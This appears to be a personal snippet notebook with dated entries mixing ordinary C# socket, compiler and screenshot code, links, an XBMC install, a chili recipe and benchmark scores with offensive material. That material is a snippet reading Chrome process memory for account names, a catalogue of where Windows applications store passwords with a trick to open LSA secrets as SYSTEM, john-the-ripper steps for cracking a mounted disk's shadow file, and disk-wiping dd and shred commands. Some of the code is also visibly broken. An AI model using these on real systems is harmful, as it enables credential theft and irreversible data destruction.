/// Function to compile .Net C#/VB source codes at runtime
///

/// Base class for compiler provider
/// C# or VB source code as a string
/// External file containing C# or VB source code
/// File path to create external executable file
/// File path to create external assembly file
/// Required resource files to compile the code
/// String variable to store any errors occurred during the process
/// Return TRUE if successfully compiled the code, else return FALSE
private bool CompileCode(System.CodeDom.Compiler.CodeDomProvider _CodeProvider, string _SourceCode, string _SourceFile, string _ExeFile, string _AssemblyName, string[] _ResourceFiles, ref string _Errors)
{
// set interface for compilation
System.CodeDom.Compiler.ICodeCompiler _CodeCompiler = _CodeProvider.CreateCompiler();

// Define parameters to invoke a compiler
System.CodeDom.Compiler.CompilerParameters _CompilerParameters =
new System.CodeDom.Compiler.CompilerParameters();

if (_ExeFile != null)
{
// Set the assembly file name to generate.
_CompilerParameters.OutputAssembly = _ExeFile;

// Generate an executable instead of a class library.
_CompilerParameters.GenerateExecutable = true;
_CompilerParameters.GenerateInMemory = false;
}
else if (_AssemblyName != null)
{
// Set the assembly file name to generate.
_CompilerParameters.OutputAssembly = _AssemblyName;

// Generate an executable instead of a class library.
_CompilerParameters.GenerateExecutable = false;
_CompilerParameters.GenerateInMemory = false;
}
else
{
// Generate an executable instead of a class library.
_CompilerParameters.GenerateExecutable = false;
_CompilerParameters.GenerateInMemory = true;
}


// Generate debug information.
//_CompilerParameters.IncludeDebugInformation = true;

// Set the level at which the compiler
// should start displaying warnings.
_CompilerParameters.WarningLevel = 3;

// Set whether to treat all warnings as errors.
_CompilerParameters.TreatWarningsAsErrors = false;

// Set compiler argument to optimize output.
_CompilerParameters.CompilerOptions = "/optimize";

// Set a temporary files collection.
// The TempFileCollection stores the temporary files
// generated during a build in the current directory,
// and does not delete them after compilation.
_CompilerParameters.TempFiles = new System.CodeDom.Compiler.TempFileCollection(".", true);

if (_ResourceFiles != null && _ResourceFiles.Length > 0)
foreach (string _ResourceFile in _ResourceFiles)
{
// Set the embedded resource file of the assembly.
_CompilerParameters.EmbeddedResources.Add(_ResourceFile);
}


try
{
// Invoke compilation
System.CodeDom.Compiler.CompilerResults _CompilerResults = null;

if (_SourceFile != null && System.IO.File.Exists(_SourceFile))
// soruce code in external file
_CompilerResults = _CodeCompiler.CompileAssemblyFromFile(_CompilerParameters, _SourceFile);
else
// source code pass as a string
_CompilerResults = _CodeCompiler.CompileAssemblyFromSource(_CompilerParameters, _SourceCode);

if (_CompilerResults.Errors.Count > 0)
{
// Return compilation errors
_Errors = "";
foreach (System.CodeDom.Compiler.CompilerError CompErr in _CompilerResults.Errors)
{
_Errors += "Line number " + CompErr.Line +
", Error Number: " + CompErr.ErrorNumber +
", '" + CompErr.ErrorText + ";\r\n\r\n";
}

// Return the results of compilation - Failed
return false;
}
else
{
// no compile errors
_Errors = null;
}
}
catch (Exception _Exception)
{
// Error occurred when trying to compile the code
_Errors = _Exception.Message;
return false;
}

// Return the results of compilation - Success
return true;
}


and hos to use it

string _Errors = "";

// C# source code pass as a string
string _CSharpSourceCode = @"
using System;

namespace test
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine(""Press ENTER key to start ..."");
Console.ReadLine();
for (int c=0; c<=100; c++)
Console.WriteLine(c.ToString());
}
}
}";


// Compile C-Sharp code
if (CompileCode(new Microsoft.CSharp.CSharpCodeProvider(), _CSharpSourceCode, null, "c:\\temp\\C-Sharp-test.exe", null, null, ref _Errors))
Console.WriteLine("Code compiled successfully");
else
Console.WriteLine("Error occurred during compilation : \r\n" + _Errors);

Date: 12:41:20 25/12/2010

Name: Socket class
Info: using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;

/*
* Title: CSocket.cs
* Description: A socket class that implements client/server interaction over TCP/IP. Future revisions will implement UDP.
*
* Developed by: affixiate from DevBB (http://devbb.org)
* Release date: December 25, 2010
* Released on: http://hackforums.net
* Save yourself the trouble, make sure that this code is up-to-date. If more than a week has elapsed from the release date,
* I recommend that you check my website, http://devbb.org, for the latest revision.
* Revision: 1
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/

public class CSocket
{
// ReSharper disable InconsistentNaming
private struct SocketObject
{
public Socket Socket;
public string Tag;
}

private SocketObject[] _socketCollection;

#region Delegates & Events
public delegate void __OnConnect(Socket s);
public delegate void __OnDataReceived(Socket s, List buf);
public delegate void __OnDisconnect(Socket s);
public delegate void __OnAccept(Socket host, Socket client);
public delegate void __OnError(Socket s, SocketException e);

public event __OnConnect OnConnect;
public event __OnDataReceived OnDataReceived;
public event __OnDisconnect OnDisconnect;
public event __OnAccept OnAccept;
public event __OnError OnError;
#endregion

///
/// Initializes a new instance of the class.
///

/// The number of sockets to initialize.
///
public CSocket(int numberSocketsToInitialize = 1)
{
try
{
_socketCollection = new SocketObject[numberSocketsToInitialize];

for (int i = 0; i < numberSocketsToInitialize; i++)
{
_socketCollection[i].Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
_socketCollection[i].Tag = string.Empty;
}
}
catch (Exception e)
{
HandleException(e);
}
}

///
/// Connects the specified socket to a target IP or DNS and port.
///

/// The IP or DNS.
/// The port.
/// The socket.
///
public void Connect(string ip, int port, Socket s)
{
Connect(ip, port, GetIndexBySocket(s));
}

///
/// Connects the specified socket to a target IP or DNS and port.
///

/// The IP or DNS.
/// The port.
/// Index of the socket.
///
public void Connect(string ip, int port, int socketIndex)
{
try
{
if (socketIndex == -1)
return;

_socketCollection[socketIndex].Socket.BeginConnect(ip, port, connect_Callback, _socketCollection[socketIndex].Socket);
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(_socketCollection[socketIndex].Socket, e);
Cleanup(ref _socketCollection[socketIndex].Socket);
}
}

///
/// Forces the specified socket to listen for new connections on a port.
///

/// The port.
/// The socket.
/// true if operation was successful; otherwise false.
///
public bool Listen(int port, Socket s)
{
return Listen(port, GetIndexBySocket(s));
}

///
/// Forces the specified socket to listen for new connections on a port.
///

/// The port.
/// Index of the socket.
/// true if operation was successful; otherwise false.
///
public bool Listen(int port, int socketIndex)
{
try
{
if (socketIndex == -1)
return false;

_socketCollection[socketIndex].Socket.Bind(new IPEndPoint(IPAddress.Any, port));
_socketCollection[socketIndex].Socket.Listen(5);
_socketCollection[socketIndex].Socket.BeginAccept(new AsyncCallback(accept_Callback), _socketCollection[socketIndex].Socket);
return true;
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(_socketCollection[socketIndex].Socket, e);
Cleanup(ref _socketCollection[socketIndex].Socket);
return false;
}
}

///
/// Closes the specified socket.
///

/// The socket.
///
public void Close(Socket s)
{
Close(GetIndexBySocket(s));
}

///
/// Closes the specified socket.
///

/// Index of the socket.
///
public void Close(int socketIndex)
{
try
{
if (socketIndex == -1)
return;

if (_socketCollection[socketIndex].Socket.Connected)
{
if (OnDisconnect != null) OnDisconnect(_socketCollection[socketIndex].Socket);
}

Cleanup(ref _socketCollection[socketIndex].Socket);
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(_socketCollection[socketIndex].Socket, e);
Cleanup(ref _socketCollection[socketIndex].Socket);
}
}

///
/// Sends the specified data.
///

/// The UTF8 string-formatted data.
/// The socket.
///
public void Send(string data, Socket s)
{
Send(data, GetIndexBySocket(s));
}

///
/// Sends the specified data.
///

/// The UTF8 string-formatted data.
/// Index of the socket.
///
public void Send(string data, int socketIndex)
{
var buf = new List();
buf.AddRange(Encoding.UTF8.GetBytes(data));
Send(buf, socketIndex);
}

///
/// Sends the specified data.
///

/// The buffer to send.
/// The socket.
///
public void Send(List buf, Socket s)
{
Send(buf, GetIndexBySocket(s));
}

///
/// Sends the specified data.
///

/// The buffer to send.
/// Index of the socket.
///
public void Send(List buf, int socketIndex)
{
try
{
if (socketIndex == -1 || !_socketCollection[socketIndex].Socket.Connected)
return;

// Always send the length of the packet in the first 4 bytes of the buffer.
buf.InsertRange(0, BitConverter.GetBytes(buf.Count));
_socketCollection[socketIndex].Socket.BeginSend(buf.ToArray(), 0, buf.Count, SocketFlags.None, new AsyncCallback(send_Callback), _socketCollection[socketIndex].Socket);
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(_socketCollection[socketIndex].Socket, e);
Cleanup(ref _socketCollection[socketIndex].Socket);
}
}

///
/// Gets the number of active connections.
///

///
public int Connections
{
get { return _socketCollection.Length; }
}

///
/// Determines whether the specified socket is connected.
///

/// The socket.
/// true if the specified socket is connected; otherwise, false.
///
public bool IsConnected(Socket s)
{
return IsConnected(GetIndexBySocket(s));
}

///
/// Determines whether the specified socket is connected.
///

/// Index of the socket.
/// true if the specified socket is connected; otherwise, false.
///
public bool IsConnected(int socketIndex)
{
return _socketCollection[socketIndex].Socket.Connected;
}

///
/// Gets the remote IP of the specified socket.
///

/// Index of the socket.
/// The remote IP of the specified socket.
///
public string GetRemoteIP(int socketIndex)
{
return GetRemoteIP(_socketCollection[socketIndex].Socket);
}

///
/// Gets the remote IP of the specified socket.
///

/// The socket.
/// The remote IP of the specified socket.
///
public string GetRemoteIP(Socket s)
{
return ((IPEndPoint) s.RemoteEndPoint).Address.ToString();
}

///
/// Gets the remote port of the specified socket.
///

/// Index of the socket.
/// The remote port of the specified socket.
///
public int GetRemotePort(int socketIndex)
{
return GetRemotePort(_socketCollection[socketIndex].Socket);
}

///
/// Gets the remote port of the specified socket.
///

/// The socket.
/// The remote port of the specified socket.
///
public int GetRemotePort(Socket s)
{
return ((IPEndPoint)s.RemoteEndPoint).Port;
}

///
/// Gets the tag of the specified socket.
///

/// Index of the socket.
/// The user-defined tag of the specified socket.
///
public string GetTag(int socketIndex)
{
return _socketCollection[socketIndex].Tag;
}

///
/// Gets the tag of the specified socket.
///

/// The socket.
/// The user-defined tag of the specified socket.
///
public String GetTag(Socket s)
{
return GetTag(GetIndexBySocket(s));
}

///
/// Sets the tag of the specified socket.
///

/// Index of the socket.
/// The tag.
///
public void SetTag(int socketIndex, string tag)
{
_socketCollection[socketIndex].Tag = tag;
}

///
/// Sets the tag of the specified socket.
///

/// The socket.
/// The tag.
///
public void SetTag(Socket s, string tag)
{
SetTag(GetIndexBySocket(s), tag);
}

///
/// Gets the index by socket.
///

/// The socket.
/// The index of the socket in the collection.
///
public int GetIndexBySocket(Socket s)
{
for (int i = 0; i < _socketCollection.Length; i++)
{
if (_socketCollection[i].Socket == s)
return i;
}

return -1;
}

///
/// Gets the socket by index.
///

/// Index of the socket.
/// The socket.
///
public Socket GetSocketByIndex(int socketIndex)
{
return _socketCollection[socketIndex].Socket;
}

#region Private Methods

#region Async. Event Callbacks

///
/// Asynchronous connect callback method.
///

/// The ar.
///
private void connect_Callback(IAsyncResult ar)
{
var s = (Socket) ar.AsyncState;

try
{
s.EndConnect(ar);
if (OnConnect != null) OnConnect(s);
GetData(s);
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(s, e);
Cleanup(ref s);
}
}

///
/// Asynchronous accept callback method.
///

/// The ar.
///
private void accept_Callback(IAsyncResult ar)
{
var s = (Socket) ar.AsyncState;

try
{
int freeSocket = GetFreeSocket();
if (freeSocket == -1)
{
Array.Resize(ref _socketCollection, _socketCollection.Length + 1);
freeSocket = _socketCollection.Length - 1;
}

_socketCollection[freeSocket].Socket = s.EndAccept(ar);
if (OnAccept != null) OnAccept(s, _socketCollection[freeSocket].Socket);
GetData(_socketCollection[freeSocket].Socket);
s.BeginAccept(new AsyncCallback(accept_Callback), s);
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(s, e);
Cleanup(ref s);
}
}

///
/// Asynchronous send callback method.
///

/// The ar.
///
private void send_Callback(IAsyncResult ar)
{
var s = (Socket) ar.AsyncState;

try
{
s.EndSend(ar);
}
catch (SocketException e)
{
HandleException(e);
if (OnError != null) OnError(s, e);
Cleanup(ref s);
}
}

///
/// Asynchronous receive callback method.
///

/// The ar.
///
private void receive_Callback(IAsyncResult ar)
{
var so = (StateObject) ar.AsyncState;
try
{
int bytesReceived = so.socket.EndReceive(ar);
if (bytesReceived == 0)
{
if (OnDisconnect != null) OnDisconnect(so.socket);
Cleanup(ref so.socket);
return;
}

Array.Resize(ref so.buf, bytesReceived); // Removes extraneous data.
ProcessPacket(so);
}
catch (SocketException e)
{
if (e.ErrorCode == 10054)
{
if (OnDisconnect != null) OnDisconnect(so.socket);
}
else
{
HandleException(e);
if (OnError != null) OnError(so.socket, e);
}

Cleanup(ref so.socket);
}
}

#endregion

private class StateObject
{
public struct Packet
{
public int length;
public List buf;
public bool truncated;
}

public Socket socket;
public Packet packet;
public byte[] buf;

public StateObject(Socket s)
{
try
{
socket = s;
buf = new byte[s.ReceiveBufferSize];
packet.buf = null;
packet.length = -1;
packet.truncated = false;
}
catch { return; }
}
}

///
/// Processes an incoming packet.
///

/// The StateObject.
///
private void ProcessPacket(StateObject so)
{
if (so.packet.buf == null) // New packet.
so.packet.buf = new List(so.buf); // Initialize the list.

if (so.packet.length == -1) // New packet or large packet being split.
{
if (so.packet.truncated) // Packet was truncated (we couldn't extract the header (aka. 4 bytes that denote the length) in our previous call.
{
so.packet.truncated = false;
so.packet.buf.AddRange(so.buf);
}

if (sizeof(int) > so.packet.buf.Count && !so.packet.truncated) // Packet isn't large enough for us to get the header (aka. 4 bytes that denote the length), this can happen.
{
so.socket.BeginReceive(so.buf, 0, so.buf.Length, SocketFlags.None, new AsyncCallback(receive_Callback), so);
so.packet.truncated = true;
return;
}

so.packet.length = BitConverter.ToInt32(so.packet.buf.GetRange(0, sizeof(int)).ToArray(), 0); // Get the size of the packet by reading the first 4 bytes.
so.packet.buf.RemoveRange(0, sizeof(int));
}
else // Not a new packet/large packet. Probably continuation of an old one.
{
so.packet.buf.AddRange(so.buf);
}

if (so.packet.buf.Count == so.packet.length) // Good news! We can process it directly.
{
// The contents of the packet is exactly what the length of the packet should be. Yay!

if (OnDataReceived != null) OnDataReceived(so.socket, so.packet.buf);
GetData(so.socket);
}
else if (so.packet.buf.Count > so.packet.length) // Packet is merged with other data. Process this packet then process the rest of the data.
{
// The contents of the packet is larger than what the length of the packet should be.

// Create a temporary packet buffer.
List buf = so.packet.buf.GetRange(0, so.packet.length);

// Remove the contents of the processed packet.
so.packet.buf.RemoveRange(0, so.packet.length);

// Signal the receive.
if (OnDataReceived != null) OnDataReceived(so.socket, buf);

// Re-process length of the other segments.
so.packet.length = -1;

// Process the rest of the packet.
ProcessPacket(so);
}
else if (so.packet.buf.Count < so.packet.length) // Packet doesn't contain enough data. We need more data before processing this packet.
{
// The contents of the packet is smaller than what the length of the packet should be.

// Back to receiving on the same StateObject.
so.buf = new byte[so.socket.ReceiveBufferSize];
so.socket.BeginReceive(so.buf, 0, so.buf.Length, SocketFlags.None, new AsyncCallback(receive_Callback), so);
}
else
{
HandleException(new Exception("Couldn't process the incoming packet correctly."));
if (OnError != null) OnError(so.socket, new SocketException());
Cleanup(ref so.socket);
}
}

///
/// Gets incoming data from a specified socket.
///

/// The socket.
///
private void GetData(Socket s)
{
var so = new StateObject(s);
if (so.socket == null || so.buf == null)
{
if (OnError != null) OnError(s, new SocketException());
Cleanup(ref so.socket);
return;
}

s.BeginReceive(so.buf, 0, so.buf.Length, SocketFlags.None, new AsyncCallback(receive_Callback), so);
}

///
/// Gets the index of a free socket in the socket collection.
///

/// The index of a free socket.
///
private int GetFreeSocket()
{
for (int i = 1; i < _socketCollection.Length; i++)
{
if (!_socketCollection[i].Socket.Connected)
return i;
}

return -1;
}

///
/// Cleanups a socket.
///

/// The socket.
///
private static void Cleanup(ref Socket s)
{
if (s != null)
s.Close();

s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
}

///
/// Handles an exception.
///

/// The exception.
///
private static void HandleException(Exception e)
{
var st = new StackTrace();
var sf = st.GetFrame(1);

Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(@"ERROR: CSocket::{0}, received exception: {1}.", sf.GetMethod().Name, e);
Console.ResetColor();
}
#endregion

}
Date: 19:37:28 26/12/2010

Name: ScreenShoot
Info: // Written by f1sh
using System;
using System.Windows.Forms;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;

class screenshot
{
void take()
{
// Create the path
string path = Path.Combine(Directory.GetCurrentDirectory(), "ss.bmp");

try
{
// Create a new bitmap class with the height and width of the screen
Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
// Create new Graphics class..
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
// Copy the screen image to the Graphics class
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
// Save it to a path
bmpScreenshot.Save(path, ImageFormat.Bmp);
}
catch { } // "should" never be hit :P
}
}
Date: 20:12:25 30/12/2010

Name: read from memory
Info: private string memAdr_chrome = 71194725;

[DllImport("kernel32.dll")]
private static extern long ReadProcessMemory(IntPtr hProcess, Int32 lpBaseAddress, ref Int32 lpBuffer, Int32 nSize, Int32 lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
private static extern IntPtr OpenProcess(System.UInt32 dwDesiredAccess, int bInheritHandle, System.UInt32 dwProcessId);

[DllImport("kernel32.dll")]
private static extern bool CloseHandle(IntPtr hHandle);

// Will be different on every browser
private void Button1_Click(object sender, System.EventArgs e) {
string accountName = "";
int length = 0;
foreach (Process p in Process.GetProcessesByName("chrome")) {
accountName = Memory_ReadString(p, memAdr_chrome);
foreach (char c in accountName) {
if ((c == "<")) {
//
MsgBox(accountName.Remove(length));
goto stopp;
}
else {
length = (length + 1);
}
}
}
Stopp:
}

// Made by: No idea.
string Memory_ReadString(Process Client, Int32 Address) {
try {
string s = "";
Int32 i = 0;
Int32 j = 0;
IntPtr TRW = OpenProcess(1080, ((int)(false)), System.UInt32.Parse(Client.Id));
for (
; ((i == 0)
== false);
) {
ReadProcessMemory(TRW, (Address + j), i, 1, 0);
if ((i != 0)) {
s = (s + ((char)(i)));
}
j++;
}
CloseHandle(TRW);
return s;
}
catch (System.Exception Return) {
null;
}
}
Date: 13:35:38 02/01/2011

Name: password store on XP and vista
Info: Windows Network Passwords (XP/Vista/2003): When you connect to the file system of another computer on your network (something like \\MyComp\MyFolder), Windows allows you to save the password. If you choose to save the password, the encrypted password is stored in a credential file.
The credential file is stored in the following locations:
Windows XP/2003: [Windows Profile]\Application Data\Microsoft\Credentials\[User SID]\Credentials and [Windows Profile]\Local Settings\Application Data\Microsoft\Credentials\[User SID]\Credentials
Windows Vista: [Windows Profile]\AppData\Roaming\Microsoft\Credentials\[Random ID] and [Windows Profile]\AppData\Local\Microsoft\Credentials\[Random ID]
You can use my Network Password Recovery utility to view all passwords stored in these Credentials files.

Dialup/VPN Passwords (2000/XP/Vista/2003): Dialup/VPN passwords are stored as LSA secrets under HKEY_LOCAL_MACHINE\Security\Policy\Secrets. This key contains multiple sub-keys, and the sub-keys which store the dialup passwords contains one of the following strings: RasDefaultCredentials and RasDialParams.
This key is not accessible from RegEdit and other tools by default, but you can use one of the following methods to access this key:

Use at command to run RegEdit.exe as SYSTEM user: (doesn't work under Vista)
For Example:
at 16:14 /interactive regedit.exe
Change the permission of entire Security key. If you do that, it's recommeneded to return the permissions back to the original after you finish.
Internet Explorer 4.00 - 6.00: The passwords are stored in a secret location in the Registry known as the "Protected Storage". The base key of the Protected Storage is located under the following key: "HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider". In order to view the subkeys of this key in RegEdit, you must do the same process as explained for the LSA secrets.
Even when you browse the above key in the Registry Editor (RegEdit), you won't be able to watch the passwords, because they are encrypted. Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.
IE PassView and Protected Storage PassView utilities allow you to recover these passwords.

Internet Explorer 7.00 - 8.00: The new versions of Internet Explorer stores the passwords in 2 different locations. AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2. HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.
IE PassView can be used to recover these passwords.

Firefox: The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version) These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name] Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.
Google Chrome Web browser: The passwords are stored in [Windows Profile]\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data (This filename is SQLite database which contains encrypted passwords and other stuff)
Opera: The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile
Outlook Express (All Versions): The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.
Outlook 98/2000: Old versions of Outlook stored the POP3/SMTP/IMAP passwords in the Protected Storage, like the passwords of old versions of Internet Explorer.
Outlook 2002-2008: All new versions of Outlook store the passwords in the same Registry key of the account settings. The accounts are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[Account Index] If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.
Mail PassView can be used to recover lost passwords of Outlook 2002-2008.

Windows Live Mail: All account settings, including the encrypted passwords, are stored in [Windows Profile]\Local Settings\Application Data\Microsoft\Windows Live Mail\[Account Name] The account filename is an xml file with .oeaccount extension.
Mail PassView can be used to recover lost passwords of Windows Live Mail.

ThunderBird: The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name] You should search a filename with .s extension.
Google Talk: All account settings, including the encrypted passwords, are stored in the Registry under HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts\[Account Name]
Google Desktop: Email passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Google\Google Desktop\Mailboxes\[Account Name]
MSN/Windows Messenger version 6.x and below: The passwords are stored in one of the following locations:
Registry Key: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger
Registry Key: HKEY_CURRENT_USER\Software\Microsoft\MessengerService
In the Credentials file, with entry named as "Passport.Net\\*". (Only when the OS is XP or more)
MSN Messenger version 7.x: The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Creds\[Account Name]
Windows Live Messenger version 8.x/9.x: The passwords are stored in the Credentials file, with entry name begins with "WindowsLive:name=". These passwords can be recovered by both Network Password Recovery and MessenPass utilities.
Yahoo Messenger 6.x: The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager ("EOptions string" value)
Yahoo Messenger 7.5 or later: The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager - "ETS" value. The value stored in "ETS" value cannot be recovered back to the original password.
AIM Pro: The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\AIM\AIMPRO\[Account Name]
AIM 6.x: The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords
ICQ Lite 4.x/5.x/2003: The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Mirabilis\ICQ\NewOwners\[ICQ Number] (MainLocation value)
ICQ 6.x: The password hash is stored in [Windows Profile]\Application Data\ICQ\[User Name]\Owner.mdb (Access Database) (The password hash cannot be recovered back to the original password)
Digsby: The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat All other passwords are stored in Digsby servers.
PaltalkScene: The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name].
Date: 17:59:22 02/01/2011

Name: Chili Recipe: Reno Red the Original
Info: Chili Recipe: Reno Red the Original

This is the chili recipe that virtually won the west changing the way chili was judged in I.C.S. In 1978 this recipe won a regional chili cookoff held in Reno Nevada. Prior to this time most of the chili recipes were comprised of large quantities of vegetables and tomato sauce. This is the Texas style chili recipe that has won four world championships (over 100,000.00 in prize money) and numerous regional chili cookoffs.

5 pounds coarsely ground heavy beef chuck, round or brisket.

1/4 cup wesson oil or rendered kidney suet.

2 medium onions

5 level teaspoons of Cumin seeds

8 heaping tablespoons of commercial chili powder

3 cloves of garlic

2 tablespoons of msg (optional)

5- 15 Chili pods, depending on heat level desired

(if pods are not available, use cayenne pepper to taste)

1 teaspoon dried oregano leaves
Reno Red Chili Recipe cooking instructions:

Remove stems, membrane and seeds from chili pods, cover with water and simmer for 30 minutes. Remove pods and blend into paste. Hold water.

Chop onions.

Crack cumin with rolling in or grind with mortar and pestle.

Brew 1 teaspoon oregano leaves in 1 cup of water

Brown meat in several batches, add black pepper while browning, Brown onions with meat

then remove with slotted spoon and hold.

Combine browned meat, onion and add the following : cumin, 8 heaping tablespoons of commercial chili powder, 3 cloves garlic (pressed) and msg.

Cook ten minutes, using just enough pepper water to keep from burning. Stir constantly. This cooks the spices into the meat.

Add chili paste and half of oregano water.

Cook slowly, adding pepper water as necessary. Add additional oregano to taste, salt to taste. The meat should tender in around 1-1/2 hours.



*Make sure you get chili powder, not a chili mix or ground chili pepper!



Cooking Variations:

Add 1 to 2 cans of tomato sauce 8oz.

Hand cut meat to about the size of a navy bean. (A lot of contestants now use half chili grind and half hand cut)

Add 2 tablespoons of vinegar 10 minutes before serving.

Use white pepper instead of black pepper

Use masa flour to thicken (mix flour with cold water and whisk until smooth, then pour in while stirring)
Date: 21:37:52 04/01/2011

Name: UDP and TCP transfer
Info: http://devblog.antongochev.net/2008/07/01/sending-data-via-tcp-using-tcpclient-and-tcplistener/

http://stackoverflow.com/questions/2534986/theres-a-black-hole-in-my-server-tcpclient-tcplistener
Date: 22:51:09 05/01/2011

Name: TCP UDP server
Info: http://www.codeproject.com/KB/IP/dotnettcp.aspx 2002 MT tcp server
http://msdn.microsoft.com/en-us/library/fx6588te%28vs.71%29.aspx asynch server

http://www.c-sharpcorner.com/uploadfile/patricklam/simpletcpudpserverclientpl211222005040054am/simpletcpudpserverclientpl2.aspx UDP TCP server

http://www.codeproject.com/KB/IP/serversocket.aspx c++
Date: 10:14:10 06/01/2011

Name: xbmc
Info:
sudo add-apt-repository ppa:team-xbmc
sudo apt-get update
sudo apt-get install xbmc
sudo apt-get update
Date: 10:00:15 12/01/2011

Name: 3d mark nytt kort
Info: Processor
AMD Phenom II X6 1090T
Processor clock
3725 MHz
Physical / logical processors
1 / 6
# of cores
6
Graphics Card
Graphics Card
NVIDIA GeForce GTX 570
# of cards
1
SLI / CrossFire
Off
Memory
0 MB
Core clock
0 MHz
Memory clock
0 MHz
Driver name
NVIDIA GeForce GTX 570
Driver version
8.17.12.6309
Driver status
Not FM Approved
General
Operating system
64-bit Windows 7 (6.1.7600)
Motherboard
ASUSTeK Computer INC. Crosshair IV Formula
Hard drive model
Memory
8192 MB
Detailed scores
3DMark Score
21156.0 3DMarks
SM2.0 Score
7527.0
HDR/SM3.0 Score
10352.0
CPU Score
6498.0
Game Score
N/A
GT1 - Return To Proxycon
63.13 FPS
GT2 - Firefly Forest
62.32 FPS
CPU1 - Red Valley
2.22 FPS
CPU2 - Red Valley
3.05 FPS
HDR1 - Canyon Flight
126.62 FPS
HDR2 - Deep Freeze
80.41 FPS
Date: 21:44:45 17/01/2011

Name: tcplisten
Info: using System;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.Threading;
using System.IO;

namespace ListenDeamon
{
class Program
{
private static TcpListener tcpListener;
private static Thread listenThread;
private static NetworkStream netstream = null;

static string testX;
static int bytesRead;

private static string[] InputArray;

static void Main(string[] args)
{
Console.WriteLine("Starting Listen!!!");
tcpListener = new TcpListener(IPAddress.Any, 29250);
listenThread = new Thread(new ThreadStart(ListenForClients));
listenThread.Start();
}

private static void ListenForClients()
{
tcpListener.Start();

while (true)
{
TcpClient client = tcpListener.AcceptTcpClient();
Thread clientTread = new Thread(new ParameterizedThreadStart(HandleClientComm));
clientTread.Start(client);
}
}

private static void HandleClientComm(object client)
{
byte[] message = new byte[1024];
int RecBytes;
TcpClient tcpClient = (TcpClient)client;

while (true)
{
bytesRead = 0;

try
{
netstream = tcpClient.GetStream();
int totalrecbytes = 0;
FileStream Fs = new FileStream(@"speedtest.tmp2", FileMode.OpenOrCreate, FileAccess.Write);
while ((RecBytes = netstream.Read(message, 0, message.Length)) > 0)
{
Fs.Write(message, 0, RecBytes);
totalrecbytes += RecBytes;
}
Console.WriteLine(Fs.Length.ToString() + " bytes received");
Fs.Close();
netstream.Close();

}
catch
{
//a socket error has occured
break;
}
finally
{

}

if (bytesRead == 0)
{
//the client has disconnected from the server
break;
}
}
tcpClient.Close();
}
}
}
Date: 16:47:20 18/01/2011

Name: Cloud Eyeos
Info: http://sourceforge.net/projects/eyeos/files/eyeos2/
Date: 20:56:42 18/01/2011

Name: Ubuntu Linux pass crack
Info: ubuntu and other debian based users run:
Code:
sudo apt-get install john

Run:
Code:
unshadow /mount/sda1/etc/passwd /mount/sda1/etc/shadow > /tmp/pass
this will take the hashes from the shadow file and put them in the passwd file and pump the output to /tmp/pass.

To run a bruteforce attack on the hash run:
Code:
john /tmp/pass
depending on the length and complexity of the password this can take
and extremely long time, so id recommend copying this file and cracking it on your own machine.

If you have a wordlist(here is a good place to download wordlists for various languages ftp://ftp.ox.ac.uk/pub/wordlists/) and want to use a dictionary attack run:
Code:
john --wordlist=/path/to/your/wordlist /path/to/pass/file
Date: 00:26:55 20/01/2011

Name: llinux wipe it
Info: dd if=/dev/zero of=/dev/*
shred */*/* -fuzvn 666
Date: 00:31:15 20/01/2011

Name: metasploit-unleashed
Info: http://www.offensive-security.com/metasploit-unleashed/Creating_A_Vulnerable_Webapp
Date: 00:40:52 20/01/2011

